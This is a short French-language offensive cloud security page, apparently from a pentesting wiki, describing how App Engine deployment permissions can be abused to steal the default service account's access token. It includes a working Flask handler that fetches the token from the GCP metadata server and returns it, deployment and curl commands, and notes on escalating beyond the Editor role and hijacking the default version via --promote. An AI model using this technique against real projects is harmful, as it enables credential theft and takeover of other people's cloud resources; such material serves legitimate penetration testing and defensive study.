Les versions App Engine standard et flexibles s'exécutent sous le compte de service par défaut d'App Engine (<project>@appspot.gserviceaccount.com), qui détient le rôle Editor par défaut. Avec les permissions de déploiement App Engine (appengine.applications.update / appengine.versions.create et cloudbuild/storage pour la préparation), vous livrez une version dont le gestionnaire lit et renvoie le token du compte de service.
Déployer une application qui divulgue le token#
# main.py (Flask)
import requests
from flask import Flask
app = Flask(__name__)
@app.route("/")
def pwn():
return requests.get(
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
headers={"Metadata-Flavor": "Google"}).text
gcloud app deploy app.yaml --quiet
curl "https://<project>.appspot.com/"
Notes d'exploitation#
- Le compte App Engine par défaut est Editor, donc un déploiement équivaut à une exécution de code en tant qu'Editor ; enchaînez vers une ressource fournissant un token pour aller au-delà d'Editor.
- Déployer une nouvelle version ne route pas le trafic tant qu'elle n'est pas promue, mais vous pouvez atteindre directement l'URL versionnée, ou utiliser
--promotepour prendre le contrôle de la version par défaut. - Les déploiements App Engine passent par Cloud Build et un bucket de préparation, donc les permissions de déploiement entraînent ces services.
Outils#
- gcloud (
app deploy) : le déploiement.